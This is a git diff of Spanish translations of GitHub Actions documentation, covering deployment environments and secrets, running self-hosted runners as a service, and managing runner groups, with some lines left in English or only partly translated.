+## Secretos de ambiente
 
-Secrets stored in an environment are only available to workflow jobs that reference the environment. If the environment requires approval, a job cannot access environment secrets until one of the required reviewers approves it. For more information about secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+Los secretos que se almacenan en un ambiente sólo se encuentran disponibles para los jobs de flujo de trabajo que referencien el ambiente. Si el ambiente requiere aprobación, un job no puede acceder a secretos de ambiente hasta que uno de los revisores requeridos lo apruebe. Para obtener más información sobre los secretos, consulta la sección "[Secretos cifrados](/actions/reference/encrypted-secrets)".
 
 {% note %}
 
-**Note:** Workflows that run on self-hosted runners are not run in an isolated container, even if they use environments. Environment secrets should be treated with the same level of security as repository and organization secrets. For more information, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#hardening-for-self-hosted-runners)."
+**Nota:** Los flujos de trabajo que se ejecutan en ejecutores auto-hospedados no se ejecutan en un contenedor aislado, incluso si utilizan ambientes. Environment secrets should be treated with the same level of security as repository and organization secrets. Para obtener más información, consulta la sección "[Fortalecimiento de la seguridad para las GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#hardening-for-self-hosted-runners)".
 
 {% endnote %}
 
-## Creating an environment
+## Crear un ambiente
 
 {% data reusables.github-actions.permissions-statement-environment %}
 
@@ -78,7 +78,7 @@ Secrets stored in an environment are only available to workflow jobs that refere
 {% data reusables.github-actions.name-environment %}
 1. Optionally, specify people or teams that must approve workflow jobs that use this environment.
    1. Select **Required reviewers**.
-   1. Enter up to 6 people or teams. Only one of the required reviewers needs to approve the job for it to proceed.
+   1. Enter up to 6 people or teams. Solo uno de los revisores requeridos necesita aprobar el job para que éste pueda proceder.
    1. Click **Save protection rules**.
 2. Optionally, specify the amount of time to wait before allowing workflow jobs that use this environment to proceed.
    1. Select **Wait timer**.
@@ -87,37 +87,37 @@ Secrets stored in an environment are only available to workflow jobs that refere
 3. Optionally, specify what branches can deploy to this environment. For more information about the possible values, see "[Deployment branches](#deployment-branches)."
    1. Select the desired option in the **Deployment branches** dropdown.
    1. If you chose **Selected branches**, enter the branch name patterns that you want to allow.
-4. Optionally, add environment secrets. These secrets are only available to workflow jobs that use the environment. Additionally, workflow jobs that use this environment can only access these secrets after any configured rules (for example, required reviewers) pass. For more information about secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+4. Optionally, add environment secrets. These secrets are only available to workflow jobs that use the environment. Additionally, workflow jobs that use this environment can only access these secrets after any configured rules (for example, required reviewers) pass. Para obtener más información sobre los secretos, consulta la sección "[Secretos cifrados](/actions/reference/encrypted-secrets)".
    1. Under **Environment secrets**, click **Add Secret**.
    1. Enter the secret name.
    1. Enter the secret value.
-   1. Click **Add secret**.
+   1. Haz clic en **Agregar secreto** (Agregar secreto).
 
-{% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also create and configure environments through the REST API. For more information, see "[Environments](/rest/reference/repos#environments)" and "[Secrets](/rest/reference/actions#secrets)."{% endif %}
+{% ifversion fpt or ghae or ghes > 3.1 or ghec %}También puedes crear y configurar ambientes a través de la API de REST. Para obtener más información, consulta las secciones de "[Ambientes](/rest/reference/repos#environments)" y "[Secretos](/rest/reference/actions#secrets)".{% endif %}
 
-Running a workflow that references an environment that does not exist will create an environment with the referenced name. The newly created environment will not have any protection rules or secrets configured. Anyone that can edit workflows in the repository can create environments via a workflow file, but only repository admins can configure the environment.
+El ejecutar un flujo de trabajo que referencie un ambiente que no existe creará un ambiente con el nombre referenciado. El ambiente recién creado no tendrá configurada ninguna regla de protección o secreto. Cualquiera que pueda editar flujos de trabajo en el repositorio podrá crear ambientes a través de un archivo de flujo de trabajo, pero solo los administradoresd e repositorio pueden configurar el ambiente.
 
 ## Using an environment
 
-Each job in a workflow can reference a single environment. Any protection rules configured for the environment must pass before a job referencing the environment is sent to a runner. The job can access the environment's secrets only after the job is sent to a runner.
+Cad job en un flujo de trabajo puede referenciar un solo ambiente. Cualquier regla de protección que se configure para el ambiente debe pasar antes de que un job que referencia al ambiente se envíe a un ejecutor. The job can access the environment's secrets only after the job is sent to a runner.
 
-When a workflow references an environment, the environment will appear in the repository's deployments. For more information about viewing current and previous deployments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)."
+Cuando un flujo de trabajo referencia un ambiente, éste aparecerá en los despliegues del repositorio. Para obtener más información acerca de visualizar los despliegues actuales y previos, consulta la sección "[Visualizar el historial de despliegues](/developers/overview/viewing-deployment-history)".
 
 {% data reusables.actions.environment-example %}
 
-## Deleting an environment
+## Borrar un ambiente
 
 {% data reusables.github-actions.permissions-statement-environment %}
 
-Deleting an environment will delete all secrets and protection rules associated with the environment. Any jobs currently waiting because of protection rules from the deleted environment will automatically fail.
+El borrar un ambiente borrará todos los secretos y reglas de protección asociadas con éste. Cualquier job que esté actualmente en espera porque depende de las reglas de protección del ambiente que se borró, fallará automáticamente.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.github-actions.sidebar-environment %}
-1. Next to the environment that you want to delete, click {% octicon "trash" aria-label="The trash icon" %}.
-2. Click **I understand, delete this environment**.
+1. Junto al ambiente que quieres borrar, haz clic en {% octicon "trash" aria-label="The trash icon" %}.
+2. Da clic en **Entiendo, borra este ambiente**.
 
-{% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also delete environments through the REST API. For more information, see "[Environments](/rest/reference/repos#environments)."{% endif %}
+{% ifversion fpt or ghae or ghes > 3.1 or ghec %}También puedes borrar los ambientes a través de la API de REST Para obtener más información, consulta la sección "[Ambientes](/rest/reference/repos#environments)".{% endif %}
 
 ## How environments relate to deployments
 
@@ -125,6 +125,6 @@ Deleting an environment will delete all secrets and protection rules associated
 
 You can access these objects through the REST API or GraphQL API. You can also subscribe to these webhook events. For more information, see "[Repositories](/rest/reference/repos#deployments)" (REST API), "[Objects]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#deployment)" (GraphQL API), or "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment)."
 
-## Next steps
+## Pasos siguientes
 
 {% data variables.product.prodname_actions %} provides several features for managing your deployments. For more information, see "[Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions)."
diff --git a/translations/es-ES/content/actions/guides.md b/translations/es-ES/content/actions/guides.md
index 2c15577f19..ee8e1bf12c 100644
--- a/translations/es-ES/content/actions/guides.md
+++ b/translations/es-ES/content/actions/guides.md
@@ -1,6 +1,6 @@
 ---
 title: Guides for GitHub Actions
-intro: 'These guides for {% data variables.product.prodname_actions %} include specific use cases and examples to help you configure workflows.'
+intro: 'Estas guías para {% data variables.product.prodname_actions %} incluyen casos de uso y ejemplos específicos que te ayudarán a configurar los flujos de trabajo.'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
@@ -20,7 +20,7 @@ includeGuides:
   - /actions/quickstart
   - /actions/learn-github-actions/introduction-to-github-actions
   - /actions/creating-actions/creating-a-docker-container-action
-  - /actions/learn-github-actions/using-workflow-templates
+  - /actions/learn-github-actions/using-starter-workflows
   - /actions/automating-builds-and-tests/building-and-testing-python
   - /actions/automating-builds-and-tests/building-and-testing-nodejs
   - /actions/publishing-packages/about-packaging-with-github-actions
@@ -43,7 +43,6 @@ includeGuides:
   - /actions/using-containerized-services/creating-redis-service-containers
   - /actions/using-containerized-services/creating-postgresql-service-containers
   - /actions/deployment/deploying-to-amazon-elastic-container-service
-  - /actions/deployment/deploying-to-azure-app-service
   - /actions/deployment/deploying-to-google-kubernetes-engine
   - /actions/learn-github-actions/essential-features-of-github-actions
   - /actions/security-guides/security-hardening-for-github-actions
@@ -64,5 +63,13 @@ includeGuides:
   - /actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column
   - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions
   - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app
+  - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service
 ---
 
diff --git a/translations/es-ES/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md b/translations/es-ES/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md
index 64f8750f4a..2249191920 100644
--- a/translations/es-ES/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md
+++ b/translations/es-ES/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring the self-hosted runner application as a service
-intro: You can configure the self-hosted runner application as a service to automatically start the runner application when the machine starts.
+title: Configurar la aplicación del ejecutor autoalojado como un servicio
+intro: Puedes configurar la aplicación del ejecutor autoalojado como un servicio para iniciar automáticamente la aplicación del ejecutor cuando se inicia la máquina.
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/configuring-the-self-hosted-runner-application-as-a-service
 versions:
@@ -10,16 +10,16 @@ versions:
   ghec: '*'
 type: tutorial
 defaultPlatform: linux
-shortTitle: Run runner app on startup
+shortTitle: Ejecutar la app del ejecutor al inicio
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-{% capture service_first_step %}1. Stop the self-hosted runner application if it is currently running.{% endcapture %}
-{% capture service_non_windows_intro_shell %}On the runner machine, open a shell in the directory where you installed the self-hosted runner application. Use the commands below to install and manage the self-hosted runner service.{% endcapture %}
-{% capture service_nonwindows_intro %}You must add a runner to {% data variables.product.product_name %} before you can configure the self-hosted runner application as a service. For more information, see "[Adding self-hosted runners](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)."{% endcapture %}
+{% capture service_first_step %}1. Detén la aplicación del ejecutor autoalojado si se está ejecutando actualmente.{% endcapture %}
+{% capture service_non_windows_intro_shell %}En la máquina del ejecutor, abre un shell en el directorio en el que instalaste la aplicación del ejecutor autoalojado. Usa los comandos que se indican a continuación para instalar y administrar el servicio de ejecutor autoalojado.{% endcapture %}
+{% capture service_nonwindows_intro %} Debes agregar un ejecutor a {% data variables.product.product_name %} antes de que puedas configurar la aplicación del ejecutor auto-hospedado como servicio. Para obtener más información, consulta "[Agregar ejecutores autoalojados](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)."{% endcapture %}
 {% capture service_win_name %}actions.runner.*{% endcapture %}
 
 
@@ -27,7 +27,7 @@ shortTitle: Run runner app on startup
 
 {{ service_nonwindows_intro }}
 
-For Linux systems that use `systemd`, you can use the `svc.sh` script distributed with the self-hosted runner application to install and manage using the application as a service.
+Para los sistemas Linux que usan `systemd`, puedes usar el script `svc.sh` distribuido con la aplicación del ejecutor autoalojado para instalar y administrar el uso de la aplicación como un servicio.
 
 {{ service_non_windows_intro_shell }}
 
@@ -37,13 +37,13 @@ For Linux systems that use `systemd`, you can use the `svc.sh` script distribute
 
 {% note %}
 
-**Note:** Configuring the self-hosted runner application as a service on Windows is part of the application configuration process. If you have already configured the self-hosted runner application but did not choose to configure it as a service, you must remove the runner from {% data variables.product.prodname_dotcom %} and re-configure the application. When you re-configure the application, choose the option to configure the application as a service.
+**Nota:** Configurar la aplicación del ejecutor autoalojado como un servicio en Windows es parte del proceso de configuración de la aplicación. Si ya configuraste la aplicación del ejecutor auto-hospedado pero no elegiste configurarla como servicio, debes eliminar el ejecutor de {% data variables.product.prodname_dotcom %} y volver a configurar la aplicación. Cuando vuelvas a configurar la aplicación, elige la opción para configurar la aplicación como un servicio.
 
-For more information, see "[Removing self-hosted runners](/actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners)" and "[Adding self-hosted runners](/actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners)."
+Para obtener más información, consulta "[Eliminar ejecutores autoalojados](/actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners) y [Agregar ejecutores autoalojados](/actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners)."
 
 {% endnote %}
 
-You can manage the runner service in the Windows **Services** application, or you can use PowerShell to run the commands below.
+Puedes administrar el servicio de ejecutor en la aplicación de **Servicios** de Windows, o puedes usar PowerShell para ejecutar los comandos que se indican a continuación.
 
 {% endwindows %}
 
@@ -57,10 +57,10 @@ You can manage the runner service in the Windows **Services** application, or yo
 
 {% linux %}
 
-## Installing the service
+## Instalar el servicio
 
 {{ service_first_step }}
-1. Install the service with the following command:
+1. Instala el servicio con el siguiente comando:
 
    ```shell
    sudo ./svc.sh install
@@ -69,19 +69,19 @@ You can manage the runner service in the Windows **Services** application, or yo
 {% endlinux %}
 {% mac %}
 
-## Installing the service
+## Instalar el servicio
 
 {{ service_first_step }}
-1. Install the service with the following command:
+1. Instala el servicio con el siguiente comando:
 
    ```shell
    ./svc.sh install
    ```
 {% endmac %}
 
-## Starting the service
+## Iniciar el servicio
 
-Start the service with the following command:
+Inicia el servicio con el siguiente comando:
 
 {% linux %}
 ```shell
@@ -99,9 +99,9 @@ Start-Service "{{ service_win_name }}"
 ```
 {% endmac %}
 
-## Checking the status of the service
+## Comprobar el estado del servicio
 
-Check the status of the service with the following command:
+Verifica el estado del servicio con el siguiente comando:
 
 {% linux %}
 ```shell
@@ -119,11 +119,11 @@ Get-Service "{{ service_win_name }}"
 ```
 {% endmac %}
 
- For more information on viewing the status of your self-hosted runner, see  "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
+ Para obtener más información sobre la visualización del estado de tu ejecutor auto-hospedado, consulta la sección "[Monitoreo y solución de problemas para ejecutores auto-hospedados](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)".
 
-## Stopping the service
+## Detener el servicio
 
-Stop the service with the following command:
+Detiene el servicio con el siguiente comando:
 
 {% linux %}
 ```shell
@@ -141,10 +141,10 @@ Stop-Service "{{ service_win_name }}"
 ```
 {% endmac %}
 
-## Uninstalling the service
+## Desinstalar el servicio
 
-1. Stop the service if it is currently running.
-1. Uninstall the service with the following command:
+1. Detiene el servicio si se está ejecutando actualmente.
+1. Desinstala el servicio con el siguiente comando:
 
     {% linux %}
     ```shell
@@ -165,16 +165,16 @@ Stop-Service "{{ service_win_name }}"
 
 {% linux %}
 
-## Customizing the self-hosted runner service
+## Personalizar el servicio del ejecutor auto-hospedado
 
-If you don't want to use the above default `systemd` service configuration, you can create a customized service or use whichever service mechanism you prefer. Consider using the `serviced` template at `actions-runner/bin/actions.runner.service.template` as a reference. If you use a customized service, the self-hosted runner service must always be invoked using the `runsvc.sh` entry point.
+Si no quieres utilizar la configuración de servicio predeterminada para `systemd` antes mencionada, puedes crear un servicio personalizado o utilizar cualquier mecanismo de servicio que prefieras. Considera utilizar la plantilla de `serviced` en `actions-runner/bin/actions.runner.service.template` como referencia. Si utilizas un servicio personalizado, el servicio del ejecutor auto-hospedado siempre debe invocarse utilizando el punto de entrada `runsvc.sh`.
 
 {% endlinux %}
 
 {% mac %}
 
-## Customizing the self-hosted runner service
+## Personalizar el servicio del ejecutor auto-hospedado
 
-If you don't want to use the above default launchd service configuration, you can create a customized service or use whichever service mechanism you prefer. Consider using the `plist` template at `actions-runner/bin/actions.runner.plist.template` as a reference. If you use a customized service, the self-hosted runner service must always be invoked using the `runsvc.sh` entry point.
+Si no quieres utilizar la configuración predeterminada del servicio launchd antes mencionada, puedes crear un servicio personalizado o cualquier mecanismo de servicio que prefieras. Considera utilizar la plantilla de `plist` en `actions-runner/bin/actions.runner.plist.template` como referencia. Si utilizas un servicio personalizado, el servicio del ejecutor auto-hospedado siempre debe invocarse utilizando el punto de entrada `runsvc.sh`.
 
 {% endmac %}
diff --git a/translations/es-ES/content/actions/hosting-your-own-runners/index.md b/translations/es-ES/content/actions/hosting-your-own-runners/index.md
index 35bffd48e4..2ca074b9f2 100644
--- a/translations/es-ES/content/actions/hosting-your-own-runners/index.md
+++ b/translations/es-ES/content/actions/hosting-your-own-runners/index.md
@@ -1,6 +1,6 @@
 ---
-title: Hosting your own runners
-intro: You can create self-hosted runners to run workflows in a highly customizable environment.
+title: Alojar tus propios corredores
+intro: Puedes crear ejecutores autohospedados para ejecutar flujos de trabajo en un entorno altamente personalizable.
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/hosting-your-own-runners
   - /actions/automating-your-workflow-with-github-actions/hosting-your-own-runners
@@ -27,6 +27,7 @@ children:
   - /monitoring-and-troubleshooting-self-hosted-runners
   - /removing-self-hosted-runners
 ---
+
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/es-ES/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md b/translations/es-ES/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md
index a0afa6e963..ebeb8d58da 100644
--- a/translations/es-ES/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md
+++ b/translations/es-ES/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to self-hosted runners using groups
-intro: You can use policies to limit access to self-hosted runners that have been added to an organization or enterprise.
+title: Administrar el acceso a los ejecutores auto-hospedados utilizando grupos
+intro: Puedes utilizar políticas para limitar el acceso a los ejecutores auto-hospedados que se hayan agregado a una organización o empresa.
 redirect_from:
   - /actions/hosting-your-own-runners/managing-access-to-self-hosted-runners
 versions:
@@ -9,54 +9,55 @@ versions:
   ghae: '*'
   ghec: '*'
 type: tutorial
-shortTitle: Manage runner groups
+shortTitle: Administrar grupos de ejecutores
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About self-hosted runner groups
+## Acerca de los grupos de ejecutores auto-hospedados
 
 {% ifversion fpt %}
 {% note %}
 
-**Note:** All organizations have a single default self-hosted runner group. Only enterprise accounts and organizations owned by enterprise accounts can create and manage additional self-hosted runner groups.
+**Nota:** Todas las organizaciones tienen un solo grupo de ejecutores auto-hospedados predeterminado. Solo las cuentas empresariales y las organizaciones que pretenezcan a estas pueden crear y administrar grupos de ejecutores auto-hospedados adicionales.
 
 {% endnote %}
 
-Self-hosted runner groups are used to control access to self-hosted runners. Organization admins can configure access policies that control which repositories in an organization have access to the runner group.
+Los grupos de ejecutores auto-hospedados se utilizan para controlar el acceso a los ejecutores auto-hospedados. Los administradores de las organizaciones pueden configurar políticas de acceso que controlen qué repositorios en una organización tienen acceso al grupo de ejecutores.
+Si utilizas
 
-If you use {% data variables.product.prodname_ghe_cloud %}, you can create additional runner groups; enterprise admins can configure access policies that control which organizations in an enterprise have access to the runner group; and organization admins can assign additional granular repository access policies to the enterprise runner group. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).
+{% data variables.product.prodname_ghe_cloud %}, puedes crear grupos de ejecutores adicionales; los administradores empresariales pueden configurar políticas de acceso que controlen qué organizaciones dentro de una empresa pueden acceder al grupo de ejecutores y los administradores organizacionales pueden asignar políticas de acceso granulares de repositorio para el grupo de ejecutores empresarial. Para obtener más información, consulta la [documentación de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).
 {% endif %}
 
 {% ifversion ghec or ghes or ghae %}
-Self-hosted runner groups are used to control access to self-hosted runners at the organization and enterprise level. Enterprise admins can configure access policies that control which organizations in an enterprise have access to the runner group. Organization admins can configure access policies that control which repositories in an organization have access to the runner group.
+Los grupos de ejecutores auto-hospedados se utilizan para controlar el acceso a los ejecutores auto-hospedados a nivel de empresas y organizaciones. Los administradores de la empresa pueden configurar políticas de acceso que controlan qué organizaciones en la empresa tienen acceso al grupo de ejecutores. Los administradores de las organizaciones pueden configurar políticas de acceso que controlen qué repositorios en una organización tienen acceso al grupo de ejecutores.
 
-When an enterprise admin grants an organization access to a runner group, organization admins can see the runner group listed in the organization's self-hosted runner settings. The organizations admins can then assign additional granular repository access policies to the enterprise runner group.
+Cuando un administrador de empresa otorga acceso a una organización para un grupo de ejecutores, los administradores de organización pueden ver que dicho grupo se lista en la configuración del ejecutor auto-hospedado de la organización. Los administradores de la organización pueden entonces asignar políticas de acceso adicionales para repositorios granulares en el grupo de ejecutores de la empresa.
 
-When new runners are created, they are automatically assigned to the default group. Runners can only be in one group at a time. You can move runners from the default group to another group. For more information, see "[Moving a self-hosted runner to a group](#moving-a-self-hosted-runner-to-a-group)."
+Cuando se crean nuevos ejecutores, se asignan automáticamente al grupo predeterminado. Los ejecutores solo pueden estar en un grupo a la vez. Puedes mover los ejecutores del grupo predeterminado a otro grupo. Para obtener más información, consulta la sección "[Mover un ejecutor auto-hospedado a un grupo](#moving-a-self-hosted-runner-to-a-group)".
 
-## Creating a self-hosted runner group for an organization
+## Crear un grupo de ejecutores auto-hospedados para una organización
 
-All organizations have a single default self-hosted runner group. Organizations within an enterprise account can create additional self-hosted groups. Organization admins can allow individual repositories access to a runner group. For information about how to create a self-hosted runner group with the REST API, see "[Self-hosted runner groups](/rest/reference/actions#self-hosted-runner-groups)."
+Todas las organizaciones tienen un solo grupo predeterminado de ejecutores auto-hospedados. Las organizaciones dentro de una cuenta empresarial pueden crear grupos auto-hospedados adicionales. Los administradores de la organización pueden permitir el acceso de los repositorios individuales a un grupo de ejecutores. Para obtener más información sobre cómo crear un grupo de ejecutores auto-hospedados con la API de REST, consulta la sección "[Grupos de ejecutores auto-hospedados](/rest/reference/actions#self-hosted-runner-groups)".
 
-Self-hosted runners are automatically assigned to the default group when created, and can only be members of one group at a time. You can move a runner from the default group to any group you create.
+Los ejecutores auto-hospedados se asignan automáticamente al grupo predeterminado cuando se crean y solo pueden ser mimebros de un grupo a la vez. Puedes mover un ejecutor del grupo predeterminado a cualquier grupo que crees.
 
-When creating a group, you must choose a policy that defines which repositories have access to the runner group.
+Cuando creas un grupo, debes elegir una política que defina qué repositorios tienen acceso al grupo ejecutor.
 
 {% ifversion ghec %}
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.settings-sidebar-actions-runner-groups %}
-1. In the "Runner groups" section, click **New runner group**.
+1. En la sección de "Grupos de ejecutores", haz clic en **Grupo de ejecutores nuevo**.
  {% data reusables.github-actions.runner-group-assign-policy-repo %}
 
    {% warning %}
 
-   **Warning**: {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
+   **Advertencia**: {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
 
    {% endwarning %}
 {% data reusables.github-actions.self-hosted-runner-create-group %}
@@ -65,50 +66,50 @@ When creating a group, you must choose a policy that defines which repositories
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.settings-sidebar-actions-runners %}
-1. In the "Self-hosted runners" section, click **Add new**, and then **New group**.
+1. En la sección de "Ejecutores auto-hospedados", haz clic en **Agregar nuevo** y luego en **Grupo nuevo**.
 
-    ![Add runner group](/assets/images/help/settings/actions-org-add-runner-group.png)
-1. Enter a name for your runner group, and assign a policy for repository access.
+    ![Agregar un grupo de ejecutores](/assets/images/help/settings/actions-org-add-runner-group.png)
+1. Ingresa un nombre para tu grupo de ejecutores y asigna una política para el acceso al repositorio.
 
-   {% ifversion ghes or ghae %} You can configure a runner group to be accessible to a specific list of repositories, or to all repositories in the organization. By default, only private repositories can access runners in a runner group, but you can override this. This setting can't be overridden if configuring an organization's runner group that was shared by an enterprise.{% endif %}
+   {% ifversion ghes or ghae %} Puedes configurar un grupo de ejecutores para que sea accesible para una lista específica de repositorios o para todos los repositorios de la organización. Predeterminadamente, solo los repositorios privados pueden acceder a los ejecutores en un grupo de ejecutores, pero puedes anular esto. Esta configuración no puede anularse si se configura un grupo ejecutor de la organización que haya compartido una empresa.{% endif %}
 
    {% warning %}
 
-   **Warning**
+   **Advertencia**
 
    {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
 
    {% endwarning %}
 
-   ![Add runner group options](/assets/images/help/settings/actions-org-add-runner-group-options.png)
-1. Click **Save group** to create the group and apply the policy.
+   ![Agregar opciones de un grupo de ejecutores](/assets/images/help/settings/actions-org-add-runner-group-options.png)
+1. Da clic en **Guardar grupo** para crear el grupo y aplicar la política.
 {% endif %}
 
-## Creating a self-hosted runner group for an enterprise
+## Crear un grupo de ejecutores auto-hospedados para una empresa
 
-Enterprises can add their self-hosted runners to groups for access management. Enterprises can create groups of self-hosted runners that are accessible to specific organizations in the enterprise account. Organization admins can then assign additional granular repository access policies to the enterprise runner groups. For information about how to create a self-hosted runner group with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions).
+Las empresas pueden agregar sus ejecutores auto-hospedados a grupos para su administración de accesos. Las empresas pueden crear grupos de ejecutores auto-hospedados a los cuales puedan acceder organizaciones específicas en la cuenta empresarial. Los administradores de la organización pueden entonces asignar políticas de acceso adicionales para los repositorios granulares a estos grupos de ejecutores para las empresas. Para obtener más información sobre cómo crear un grupo de ejecutores auto-hospedados con la API de REST, consulta las [API de GitHub Actions para la Administración Empresarial](/rest/reference/enterprise-admin#github-actions).
 
-Self-hosted runners are automatically assigned to the default group when created, and can only be members of one group at a time. You can assign the runner to a specific group during the registration process, or you can later move the runner from the default group to a custom group.
+Los ejecutores auto-hospedados se asignan automáticamente al grupo predeterminado cuando se crean y solo pueden ser mimebros de un grupo a la vez. Puedes asignar el ejecutor a un grupo específico durante el proceso de registro o puedes moverlo después desde el grupo predeterminado a un grupo personalizado.
 
-When creating a group, you must choose a policy that defines which organizations have access to the runner group.
+Cuando creas un grupo, debes elegir la política que defina qué organizaciones tienen acceso al grupo de ejecutores.
 
 {% ifversion ghec %}
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
 {% data reusables.enterprise-accounts.actions-runner-groups-tab %}
-1. Click **New runner group**.
+1. Haz clic en **Grupo de ejecución nuevo**.
  {% data reusables.github-actions.runner-group-assign-policy-org %}
 
    {% warning %}
 
-   **Warning**
+   **Advertencia**
 
    {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
 
    {% endwarning %}
 {% data reusables.github-actions.self-hosted-runner-create-group %}
@@ -118,43 +119,43 @@ When creating a group, you must choose a policy that defines which organizations
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
 {% data reusables.enterprise-accounts.actions-runners-tab %}
-1. Click **Add new**, and then **New group**.
+1. Da clic en **Agregar nuevo** y luego en **Grupo nuevo**.
 
-    ![Add runner group](/assets/images/help/settings/actions-enterprise-account-add-runner-group.png)
-1. Enter a name for your runner group, and assign a policy for organization access.
+    ![Agregar un grupo de ejecutores](/assets/images/help/settings/actions-enterprise-account-add-runner-group.png)
+1. Ingresa un nombre para tu grupo de ejecutores y asigna una política para el acceso organizacional.
 
-    You can configure a runner group to be accessible to a specific list of organizations, or all organizations in the enterprise. By default, only private repositories can access runners in a runner group, but you can override this. This setting can't be overridden if configuring an organization's runner group that was shared by an enterprise.
+    Puedes configurar un grupo de ejecutores para que una lista específica de organizaciones o todas las organizaciones de la empresa puedan acceder a él. Predeterminadamente, solo los repositorios privados pueden acceder a los ejecutores en un grupo de ejecutores, pero puedes anular esto. Esta configuración no puede anularse si se configura el grupo de ejecutores de una organización que compartió una empresa.
 
    {% warning %}
 
-   **Warning**
+   **Advertencia**
 
    {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
